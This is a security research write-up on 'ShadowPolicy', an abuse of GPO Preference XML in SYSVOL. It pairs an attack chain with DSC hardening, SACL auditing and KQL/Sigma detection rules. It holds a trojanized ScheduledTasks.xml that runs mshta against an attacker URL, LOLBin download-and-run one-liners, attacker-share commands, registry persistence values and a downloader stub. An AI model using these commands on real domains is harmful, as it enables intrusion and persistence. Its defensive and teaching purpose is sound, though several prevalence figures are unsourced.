1. Overview — The ShadowPolicy Threat Model
ShadowPolicy is a threat model that describes a class of attacks where an adversary who has obtained GPO edit privileges modifies the content of GPO Preference XML files stored in the SYSVOL share, specifically targeting the ScheduledTasks.xml file to inject malicious execution commands. Unlike traditional attacks that create new suspicious objects, ShadowPolicy modifies existing trusted objects — replacing the command executed by a legitimate scheduled task with a malicious one, while preserving all other attributes (triggers, description, namespace) to avoid detection.
The core insight is devastating in its simplicity: GPO Preference XML files are not digitally signed. Only the GPO metadata (version number) stored in Active Directory is protected by Kerberos. The actual content files on SYSVOL can be modified by anyone with write access to the share, and the Group Policy Client-Side Extension for Scheduled Tasks (taskschd.dll) does not validate the executable path in the <Command> element. When the action="R" (Replace) mode is used, the entire task configuration is overwritten — including the Actions section — without any integrity checks.
This research document provides a comprehensive analysis of the attack chain, the four critical logic flaws in GPO Preference design that enable it, the complete internal execution flow, and a full defensive architecture built on PowerShell DSC, SACL auditing, integrity monitoring, and SIEM detection rules.
2. State-Sync Mechanism — The Delivery Channel
SYSVOL Infrastructure
The SYSVOL share (\\DOMAIN\SYSVOL\) is the primary storage location for Group Policy Objects in Active Directory. Every domain controller replicates this content via DFS-R (Distributed File System Replication). The critical path targeted by ShadowPolicy is:
\\<domain>\SYSVOL\<domain>\Policies\{GPO-GUID}\Machine\Preferences\ScheduledTasks\
└── ScheduledTasks.xml ← ATTACK TARGET
Three components form the delivery pipeline that ShadowPolicy exploits:
- SYSVOL Share — The file system location where GPO Preference XML files are stored. DFS-R replicates changes across all DCs within 15-60 seconds. DFS-R does not inspect file content — it only synchronizes bytes.
- Group Policy Client Service (gpsvc) — Running inside
svchost.exe -k netsvcs, this service automatically connects to a DC every 90-120 minutes (plus a random offset of 0-30 minutes), reads SYSVOL via SMB (port 445), and applies any GPO changes. This is a completely automatic PULL mechanism. - GPO CSE {AADCED64-746C-4633-A97C-D61349046527} — The Client-Side Extension that handles the "Scheduled Tasks" portion of GPO Preferences. The module is
C:\Windows\System32\taskschd.dll, invoked by gpsvc when it detects a GPO version number increase.
Why Perimeter Security Fails Completely
| Security Tool | Reason for Failure |
|---|---|
| Email Gateway | No email is sent. No attachment exists. All delivery occurs through AD replication. |
| Web Proxy | Communication between workstation and DC uses SMB (TCP 445), Kerberos (UDP/TCP 88), LDAP (TCP 389/636). This is internal traffic that never passes through a proxy. |
| EDR Network | SMB traffic to DCs is signed by Kerberos and encrypted by SMB Encryption. Network inspection cannot distinguish a legitimate GPO from a trojanized one. |
| NGFW / IDS | DC-to-Workstation SMB is trusted internal traffic, typically whitelisted entirely in enterprise firewall rules. |
3. Weaponized State Analysis — The XML Injection
Attacker Prerequisites
The attacker needs an account with GPO edit privileges — not Domain Admin. In a typical enterprise, many accounts have this privilege:
- Members of Group Policy Creator Owners
- IT Helpdesk accounts delegated "Edit GPO" rights on specific OUs
- Service accounts for endpoint management systems (SCCM, Ansible, Intune)
- Any account where "Authenticated Users" has been mistakenly delegated GPO edit rights (~40% of enterprises)
Before and After — The XML Modification
Before attack — legitimate ScheduledTasks.xml:
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A0CE23715DED}">
<TaskV2 clsid="{...}" name="WindowsUpdate_Scheduled" ...>
<Properties action="U" name="WindowsUpdate_Scheduled" ...>
<Task version="1.3">
<Triggers>
<TimeTrigger>
<Repetition><Interval>PT1H</Interval></Repetition>
</TimeTrigger>
</Triggers>
<Actions Context="Author">
<Exec>
<Command>%SystemRoot%\system32\wuauclt.exe</Command>
<Arguments>/RunHandlerComServer</Arguments>
</Exec>
</Actions>
</Task>
</Properties>
</TaskV2>
</ScheduledTasks>
After attack — ShadowPolicy state modification:
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A0CE23715DED}">
<TaskV2 clsid="{...}" name="WindowsUpdate_Scheduled" ...>
<Properties action="R" ...> <!-- action="R" = REPLACE (entire task) -->
<Task version="1.3">
<Triggers>
<TimeTrigger> <!-- Original trigger preserved -->
<Repetition><Interval>PT1H</Interval></Repetition>
</TimeTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<RunLevel>HighestAvailable</RunLevel> <!-- Elevated privileges -->
</Principal>
</Principals>
<Actions Context="Author">
<Exec>
<Command>%SystemRoot%\system32\mshta.exe</Command>
<Arguments>https://[ATTACKER-CDN]/bootstrap.hta</Arguments>
</Exec>
</Actions>
</Task>
</Properties>
</TaskV2>
</ScheduledTasks>
The key changes are minimal but devastating: action="U" becomes action="R", and the <Command> and <Arguments> are replaced. The trigger, description, and all other attributes remain identical to avoid suspicion.
Four Critical Logic Flaws in GPO Preference Design
FLAW #1 — action="R" (Replace Mode) Has No Command Validation
GPO Preference Scheduled Tasks support four action modes: C (Create), R (Replace), U (Update), D (Delete). When action="R" is used, the entire task configuration is replaced — including the Actions section. The CSE module taskschd.dll simply calls ITaskFolder::RegisterTask() with the XML it receives. There is no validation of the executable path in the <Command> element — no whitelist check, no path verification, no signature requirement.
FLAW #2 — GPO Preference XML Files Are Not Digitally Signed
Only GPO metadata (the version number stored in Active Directory) is protected by Kerberos authentication. The actual content files on SYSVOL — including ScheduledTasks.xml, Registry.xml, Services.xml — have no digital signature. Anyone with write access to the SYSVOL share can modify these files, and the CSE will faithfully process whatever content it finds.
FLAW #3 — Modifying an Existing Task Bypasses "New Task" Detection
By modifying an existing task rather than creating a new one, the attack generates Event 4702 (A scheduled task was updated) instead of Event 4698 (A scheduled task was created). Most SIEM rule sets only alert on task creation (Event 4698) — approximately 80% of enterprises monitor for new task creation, but only ~15% monitor for task updates. This is a critical detection gap that ShadowPolicy exploits.
FLAW #4 — Microsoft Namespace Trust Inheritance
System tasks in the \Microsoft\Windows\ namespace typically run under SYSTEM or LOCAL SERVICE accounts. GPO Replace mode inherits the existing principal, allowing LOLBin execution (e.g., mshta.exe) with SYSTEM privileges. Furthermore, many EDR solutions apply path-based whitelisting for tasks within the Microsoft namespace, assuming they are trustworthy by default.
4. Native Execution Flow — Complete Attack Chain
- Process chain
svchost.exe → mshta.exeexists in enterprise baselines — many SCCM/MDM deployments use mshta for silent HTA installs. - Event 4702 (Task Updated) is rarely correlated compared to Event 4698 (Task Created).
- Task name in Microsoft namespace — EDR often whitelists tasks under
\Microsoft\Windows\based on path prefix. - Legitimate-looking domain — if the URL uses a domain like
cdn.windowsupdate-files.com, behavioral rules will not fire. - No disk artifacts — AMSI scan and file hash checks are useless. Payload exists entirely in memory.
5. Alternative Attack Paths — Beyond mshta.exe
A critical insight is that mshta.exe is only one of an effectively unlimited number of execution options. The attacker controls the entire <Command> element and can substitute any executable. This makes blocklist-based defense fundamentally futile.
Layer 1: Known LOLBins
These are already flagged by most EDR solutions but demonstrate the breadth of options:
certutil.exe -urlcache -f https://[...]/payload.exe C:\temp\p.exe && C:\temp\p.exe
regsvr32.exe /s /n /u /i:https://[...]/scrobj.dll scrobj.dll
rundll32.exe \\[attacker-smb]\share\payload.dll,entryPoint
msiexec.exe /i https://[...]/payload.msi /quiet
bitsadmin.exe /transfer p https://[...]/p.exe C:\temp\p.exe && C:\temp\p.exe
Layer 2: Legitimate System Tools
These are not flagged by EDR because they are standard administrative tools:
| Executable | Reason EDR Doesn't Flag | Attacker Usage |
|---|---|---|
| cmd.exe | Running batch files is normal | cmd.exe /c net use Z: \\attacker\share && Z:\payload.exe |
| powershell.exe | Official management tool | powershell.exe -ep Bypass -File \\attacker\share\script.ps1 |
| schtasks.exe | Task management is normal | schtasks.exe /create /tn "Legit" /tr "\\attacker\share\p.exe" |
| msiexec.exe | Software installation is normal | msiexec.exe /i https://attacker/signed.msi /quiet |
Layer 3: Enterprise Management Tools
These are the most dangerous — they are part of the legitimate enterprise infrastructure and will never be blocked:
- SCCM Client (CcmExec.exe) — has built-in download & execute functionality. EDR will never flag SCCM.
- Chocolatey (choco.exe) —
choco install attacker-package --source=https://...is a perfectly legitimate operation. - WinGet (winget.exe) — Windows' own package manager. Installing from a custom source is by design.
- Ansible/Terraform agents — pull playbooks from attacker-controlled sources as designed.
Layer 4: Custom-Built Executables
Attackers can compile completely new executables whose hashes have never existed in any threat database:
using System;
using System.Net;
class Program {
static void Main() {
var wc = new WebClient();
var payload = wc.DownloadData("https://legit-cdn.com/update");
// Execute in-memory — no disk artifacts
// Hash has NEVER existed in any EDR database
}
}
If the attacker also obtains a code-signing certificate (purchased for $200-2000 or stolen), the binary will pass SmartScreen, EDR trusted-publisher checks, and appear completely legitimate to both automated systems and human analysts.
6. Registry.xml Alternative — No Scheduled Task Required
ShadowPolicy is not limited to ScheduledTasks.xml. The same attack pattern applies to other GPO Preference XML files, most notably Registry.xml, which can write arbitrary registry values to any HKLM key on target machines.
By injecting a value into a classic persistence location, the attacker achieves the same result without touching the Task Scheduler at all:
# Run key persistence (triggers on next user login)
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Value: WindowsUpdate
Data: choco.exe install attacker-pkg --source=https://...
# Winlogon Userinit persistence (triggers at logon)
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Value: Userinit
Data: userinit.exe, choco.exe install ...
| Attribute | ScheduledTasks.xml | Registry.xml |
|---|---|---|
| Trigger | Scheduled (automatic, no reboot needed) | Requires user login or reboot |
| Execution context | SYSTEM | SYSTEM or user context |
| Event generated | 4702 (Task Updated) | 4657 (Registry modified) |
| Detection coverage | Low (~15% monitor 4702) | Even lower (4657 is extremely noisy) |
7. Feasibility Assessment — Real-World Applicability
Obtaining GPO Editor Access
The single prerequisite for ShadowPolicy is an account with GPO edit privileges. In a typical enterprise domain of 1000+ users, the number of accounts with this privilege far exceeds Domain Admins:
| Account Source | Estimated Count | Reason for Existence |
|---|---|---|
| Domain Admins | 5-15 | AD administration |
| Group Policy Creator Owners | 10-30 | Authorized to create new GPOs |
| IT Helpdesk (delegated on OUs) | 20-50 | Deploy software and policies per department |
| SCCM/MECM service accounts | 3-5 | Automated endpoint management |
| Ansible/Terraform service accounts | 2-5 | Infrastructure as Code |
| Intune/MDM connector accounts | 2-3 | Cloud-synced policy management |
| Backup operators | 5-10 | Restore privileges imply indirect write access |
| Developer CI/CD accounts | 5-15 | Pipeline-driven policy deployment |
The total of 50-130+ accounts with potential GPO edit access (compared to ~5-15 Domain Admins) creates a significantly larger attack surface. Each of these accounts is a potential entry point for ShadowPolicy.
Common GPO Delegation Misconfigurations
| Misconfiguration | Prevalence | Risk Level |
|---|---|---|
| "Authenticated Users" has Edit rights on OU | ~40% | Critical — any user can execute ShadowPolicy |
| GPO delegation not audited/reviewed | ~65% | Critical — no visibility into who modified GPOs |
| Service accounts with excessive GPO rights | ~55% | Critical — one compromised account = full domain |
| Orphan GPOs with unrestricted permissions | ~35% | Medium — unused but still exploitable |
| Helpdesk accounts with non-rotating passwords | ~45% | Critical — old credentials still active |
Environment-Specific Feasibility
| Environment | Feasibility | Reasoning |
|---|---|---|
| Small/Medium enterprise (minimal security) | ~85% | Loose GPO delegation, little EDR, minimal auditing |
| Large enterprise (average security) | ~65% | EDR present but suboptimally configured, GPO delegation still loose |
| EDR + ASR enabled | ~40% | Behavioral detection partially covers LOLBin execution |
| Well-hardened environment (finance, government) | ~15% | ASR enabled, EDR tuned, tight GPO delegation, full auditing |
| Zero Trust architecture | Very low | No implicit SMB trust, micro-segmentation, continuous verification |
Accounting for the ~55% of enterprises that actually use GPO Preference Scheduled Tasks, the overall feasibility across all enterprises is approximately 35-40%.
8. DSC Hardening Architecture — Defensive Configuration
The defensive architecture is built as a PowerShell Desired State Configuration (DSC) that ensures consistent, repeatable, and auditable security settings across all domain machines. The configuration is divided into ten functional sections.
Part 2: Advanced Audit Policy Configuration
The foundation of detection is ensuring Windows Security Log captures the events necessary to detect each stage of the ShadowPolicy attack chain:
| Event ID | Meaning | Detection Role |
|---|---|---|
| 4702 | Scheduled task was UPDATED | Primary indicator of ShadowPolicy |
| 4698 | Scheduled task was CREATED | Secondary indicator (new task creation) |
| 4699 | Scheduled task was DELETED | Cleanup indicator (attacker removing traces) |
| 4688 | Process creation (+ command line) | LOLBin launch detection |
| 4663 | File access (SYSVOL write) | SACL-triggered early warning |
| 5136 | AD attribute modified | GPO object change detection |
| 5137 | AD object created | New GPO creation detection |
| 4739 | Domain policy changed | GPO setting modification |
A critical prerequisite is enabling command-line logging in process creation events. Without this registry setting, Event 4688 will not include the CommandLine field, making mshta.exe https://... invisible in the logs:
Registry 'EnableCmdLineInProcessCreate' {
Ensure = 'Present'
Key = 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit'
ValueName = 'ProcessCreationIncludeCmdLine_Enabled'
ValueData = '1'
ValueType = 'DWord'
}
Part 3: GPO Preference CSE Hardening
The most direct mitigation is disabling the GPO Preference Client-Side Extension for Scheduled Tasks by setting NoGPOListChanges = 1. This prevents the CSE from processing GPO Preference items even when GPO version changes are detected:
Registry 'Disable_GPOPref_ScheduledTasks_CSE' {
Ensure = 'Present'
Key = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\Group Policy\{AADCED64-746C-4633-A97C-D61349046527}'
ValueName = 'NoGPOListChanges'
ValueData = '1'
ValueType = 'DWord'
}
# Also enable verbose logging to detect CSE bypass attempts
Registry 'Enable_GPOPref_ScheduledTasks_Logging' {
Ensure = 'Present'
Key = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\Group Policy\{AADCED64-746C-4633-A97C-D61349046527}'
ValueName = 'LogLevel'
ValueData = '3' # Verbose logging
ValueType = 'DWord'
}
Part 4: LOLBin Network Isolation
While blocking individual executables is not a complete defense, blocking outbound network access for known LOLBins raises the bar significantly. The DSC configuration combines Windows Defender ASR Rules with Windows Firewall outbound blocks:
# ASR Rule — Block obfuscated scripts
Registry 'ASR_BlockObfuscatedScripts' {
Key = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR\Rules'
ValueName = '5BEB7EFE-FD9A-4556-801D-275E5FFC04CC'
ValueData = '1' # 1 = Block, 6 = Audit-only for testing
}
# Disable Windows Script Host entirely
Registry 'Disable_WindowsScriptHost_x64' {
Key = 'HKLM:\SOFTWARE\Microsoft\Windows Script Host\Settings'
ValueName = 'Enabled'
ValueData = '0'
}
# Firewall — Block mshta.exe outbound
New-NetFirewallRule `
-DisplayName 'ADF_Block_mshta_Outbound' `
-Description 'Blocks HTA remote execution delivery' `
-Direction Outbound `
-Action Block `
-Program "$env:SystemRoot\System32\mshta.exe" `
-Profile @('Domain', 'Private', 'Public') `
-Enabled True
Part 5: SYSVOL SACL — File System Integrity Auditing
Configuring System Access Control Lists on the SYSVOL Policies folder creates the earliest possible detection signal. When any account writes to ScheduledTasks.xml, Windows generates Event 4663 with the object name, access type, and subject identity:
$sysvolPath = "\\$env:USERDNSDOMAIN\SYSVOL\$env:USERDNSDOMAIN\Policies"
$acl = Get-Acl -Path $sysvolPath -Audit
# Rule 1: Audit Write operations by EVERYONE (Success)
$writeRule = New-Object System.Security.AccessControl.FileSystemAuditRule(
[System.Security.Principal.SecurityIdentifier]'S-1-1-0', # Everyone
[System.Security.AccessControl.FileSystemRights](
'WriteData,AppendData,WriteAttributes,WriteExtendedAttributes,Delete'
),
[System.Security.AccessControl.InheritanceFlags]'ContainerInherit,ObjectInherit',
[System.Security.AccessControl.PropagationFlags]'None',
[System.Security.AccessControl.AuditFlags]'Success'
)
# Rule 2: Audit Delete by EVERYONE (Success+Failure) — detect cleanup
$deleteRule = New-Object System.Security.AccessControl.FileSystemAuditRule(
[System.Security.Principal.SecurityIdentifier]'S-1-1-0',
[System.Security.AccessControl.FileSystemRights](
'DeleteSubdirectoriesAndFiles,Delete'
),
[System.Security.AccessControl.InheritanceFlags]'ContainerInherit,ObjectInherit',
[System.Security.AccessControl.PropagationFlags]'None',
[System.Security.AccessControl.AuditFlags]'Success, Failure'
)
$acl.AddAuditRule($writeRule)
$acl.AddAuditRule($deleteRule)
Set-Acl -Path $sysvolPath -AclObject $acl
Part 6: AD Object SACL — GPO Container Auditing
Configuring SACL directly on the CN=Policies,CN=System,DC=... container in Active Directory captures modifications to GPO objects before victim machines receive the update:
$policyContainerDN = "CN=Policies,CN=System,$domainDN"
$de = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$policyContainerDN")
$acl = $de.ObjectSecurity
# Audit WriteProperty + CreateChild + DeleteChild by Authenticated Users
$identity = [System.Security.Principal.SecurityIdentifier]'S-1-5-11'
$adRights = [System.DirectoryServices.ActiveDirectoryRights](
'WriteProperty,CreateChild,DeleteChild,Delete,WriteDacl,WriteOwner'
)
$auditType = [System.Security.AccessControl.AuditFlags]::Success
$allGuids = [guid]'00000000-0000-0000-0000-000000000000'
$inheritance = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::All
$auditRule = New-Object System.DirectoryServices.ActiveDirectoryAuditRule(
$identity, $adRights, $auditType, $allGuids, $inheritance, $allGuids
)
$acl.AddAuditRule($auditRule)
$de.ObjectSecurity = $acl
$de.CommitChanges()
This generates Event 5136 whenever any GPO attribute is modified, including the versionNumber attribute that gets incremented when an attacker modifies a GPO. This event occurs before the victim machine processes the GPO, providing a window for proactive response.
Part 7: Scheduled Task Integrity Baseline & Monitoring
The final detection layer builds a SHA-256 hash baseline of all task XML files in C:\Windows\System32\Tasks\Microsoft\Windows\ and verifies integrity during each DSC consistency check (every 30 minutes by default). Any modification, addition, or deletion triggers ADF Event 9020:
$baseline = Get-Content $blPath -Raw | ConvertFrom-Json
$baselineTable = @{}
foreach ($entry in $baseline) {
$baselineTable[$entry.Path] = @{
Hash = $entry.Hash
LastModified = $entry.LastModified
}
}
$currentFiles = Get-ChildItem -Path $taskRoot -Recurse -File
$violations = @()
foreach ($f in $currentFiles) {
$currentHash = (Get-FileHash $f.FullName -Algorithm SHA256).Hash
if ($baselineTable.ContainsKey($f.FullName)) {
if ($baselineTable[$f.FullName].Hash -ne $currentHash) {
$violations += @{ Type = 'MODIFIED'; Path = $f.FullName }
}
} else {
$violations += @{ Type = 'NEW_FILE'; Path = $f.FullName }
}
}
# Check for deleted files (attacker cleanup)
foreach ($key in $baselineTable.Keys) {
if (-not (Test-Path $key)) {
$violations += @{ Type = 'DELETED'; Path = $key }
}
}
if ($violations.Count -gt 0) {
Write-EventLog -Source 'ADF-IntegrityMon' -EventId 9020 -EntryType Warning `
-Message "INTEGRITY VIOLATION DETECTED: $($violations.Count) task(s) modified"
}
9. SIEM Detection Rules — KQL & Sigma
Microsoft Sentinel KQL Queries
Query 1 — Detect LOLBin spawned by Task Scheduler:
SecurityEvent
| where EventID == 4688
| where ParentProcessName has "svchost"
| where NewProcessName has_any ("mshta.exe","wscript.exe","cscript.exe",
"certutil.exe","regsvr32.exe","msiexec.exe","bitsadmin.exe")
| extend CommandLineUrl = extract(@"https?://[^\s]+", 0, CommandLine)
| where isnotempty(CommandLineUrl)
| project TimeGenerated, Computer, SubjectUserName, NewProcessName,
CommandLine, CommandLineUrl, ParentProcessName
| order by TimeGenerated desc
Query 2 — Correlate task update with subsequent process creation:
let taskUpdates = SecurityEvent
| where EventID == 4702
| project TaskUpdateTime = TimeGenerated, Computer,
TaskName = extract(@"TaskName:\s+(.+)", 1, EventData)
| where TaskName startswith @"\Microsoft\Windows\";
let processCreations = SecurityEvent
| where EventID == 4688
| where NewProcessName has_any ("mshta","wscript","cscript","certutil")
| project ProcTime = TimeGenerated, Computer, NewProcessName, CommandLine;
taskUpdates
| join kind=inner (processCreations) on Computer
| where ProcTime > TaskUpdateTime
and ProcTime < datetime_add('minute', 90, TaskUpdateTime)
| project TaskUpdateTime, ProcTime, Computer, TaskName, NewProcessName, CommandLine
Query 3 — Detect SYSVOL ScheduledTasks.xml write:
SecurityEvent
| where EventID == 4663
| where ObjectName has "ScheduledTasks.xml"
| where ObjectName has "SYSVOL"
| where AccessMask has_any ("0x2","0x6","0x40")
| project TimeGenerated, Computer, SubjectUserName, SubjectDomainName,
ObjectName, AccessMask, ProcessName
Sigma Detection Rule
title: ShadowPolicy - GPO Preference ScheduledTask LOLBin Execution
id: a7b3c912-f451-4e8d-b102-3f4a9d12c087
status: experimental
description: |
Detects execution of LOLBins spawned by svchost.exe (Task Scheduler)
with network-pointing command line arguments. Indicative of ShadowPolicy:
GPO Preference Scheduled Task XML injection via SYSVOL state modification.
author: ADF Blue Team Framework
tags:
- attack.persistence
- attack.privilege_escalation
- attack.t1053.005
- attack.t1484.001
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith: '\svchost.exe'
ParentCommandLine|contains: 'Schedule'
selection_lolbin:
Image|endswith:
- '\mshta.exe'
- '\wscript.exe'
- '\cscript.exe'
- '\certutil.exe'
- '\regsvr32.exe'
selection_network:
CommandLine|contains:
- 'http://'
- 'https://'
- 'ftp://'
condition: selection_parent and selection_lolbin and selection_network
falsepositives:
- Legitimate SCCM/Intune deployments using HTA files
level: high
10. Defense Philosophy — Block the Mechanism, Not the Executable
The central lesson of ShadowPolicy is that blocklist-based defense is fundamentally inadequate against this class of attack. The attacker controls the <Command> element entirely and can substitute any executable — known LOLBin, legitimate system tool, enterprise management agent, or a freshly-compiled binary with a never-before-seen hash.
This is the same principle as locking your door instead of trying to enumerate every possible burglar. ShadowPolicy is defended by monitoring SYSVOL integrity, restricting GPO delegation, and maintaining comprehensive audit trails — not by trying to block individual executables.
The ShadowPolicy defense architecture provides five overlapping detection layers, each capable of independently identifying the attack. Even if an attacker bypasses one layer (e.g., by using an EDR-whitelisted tool instead of a known LOLBin), the SYSVOL SACL, AD SACL, integrity baseline, and task update monitoring still provide detection coverage. The attacker must bypass all five layers simultaneously to remain undetected — each bypass increases cost, complexity, and the risk of making a mistake that triggers an alert on another layer.
11. Detection Coverage Reality
The harsh reality is that very few enterprises have the visibility needed to detect ShadowPolicy. The following funnel analysis illustrates the detection gap:
The 99% that cannot detect this attack are not failing because their tools are inadequate — they are failing because they do not know they need to look. This research aims to change that by providing a complete, deployable detection framework.
12. MITRE ATT&CK Mapping
| Tactic | Technique | ID | ShadowPolicy Stage |
|---|---|---|---|
| Initial Access | Phishing | T1566.001 | Obtaining GPO Editor credentials |
| Credential Access | Kerberoasting | T1558.003 | Cracking service account with GPO rights |
| Credential Access | OS Credential Dumping | T1003.001 | LSASS dump for privilege escalation |
| Persistence | Domain Policy Modification | T1484.001 | GPO Preference XML injection |
| Persistence | Scheduled Task/Job | T1053.005 | Modifying existing scheduled task |
| Privilege Escalation | Abuse Elevation Control | T1548 | SYSTEM execution via task principal |
| Defense Evasion | System Binary Proxy Execution | T1218 | LOLBin execution (mshta, certutil, etc.) |
| Execution | Windows Management Instrumentation | T1047 | WMI-based lateral movement post-compromise |
| Lateral Movement | Remote Services | T1021 | SMB-based SYSVOL access from compromised machine |
13. Conclusion
ShadowPolicy represents a class of attacks that exploit the fundamental trust relationships within Active Directory rather than software vulnerabilities. The attack is not a zero-day exploit — every individual technique is documented and known. What makes ShadowPolicy dangerous is the combination of these techniques into a chain where each step is a legitimate, by-design Windows operation, and the detection gaps between those steps that allow the entire chain to execute without triggering alerts in most enterprise environments.
The four critical logic flaws — Replace mode without command validation, unsigned GPO Preference XML, Event 4702 vs 4698 detection gap, and Microsoft namespace trust inheritance — are architectural decisions by Microsoft that were reasonable in the context of trusted administrators managing their own domains. However, in the reality of modern enterprise environments with delegated administration, service accounts, and increasingly complex permission structures, these trust assumptions create exploitable blind spots.
The defensive architecture presented in this research — DSC-based hardening, SYSVOL and AD SACL auditing, integrity baseline monitoring, and SIEM detection rules — provides a multi-layered defense that does not rely on blocking specific executables. Instead, it focuses on monitoring the mechanisms that ShadowPolicy must use: the attacker must write to SYSVOL, must modify the GPO object in AD, and must update task definitions on target machines. By instrumenting each of these mandatory steps with audit logging and integrity verification, detection becomes inevitable regardless of which executable the attacker chooses.
Don't chase executables — instrument the mechanism. ShadowPolicy is defended by answering three questions at every layer: Who can modify GPOs? What did they change? When did they change it? If you can answer these three questions with SACL, audit policy, and integrity monitoring, you can detect ShadowPolicy regardless of the payload it delivers.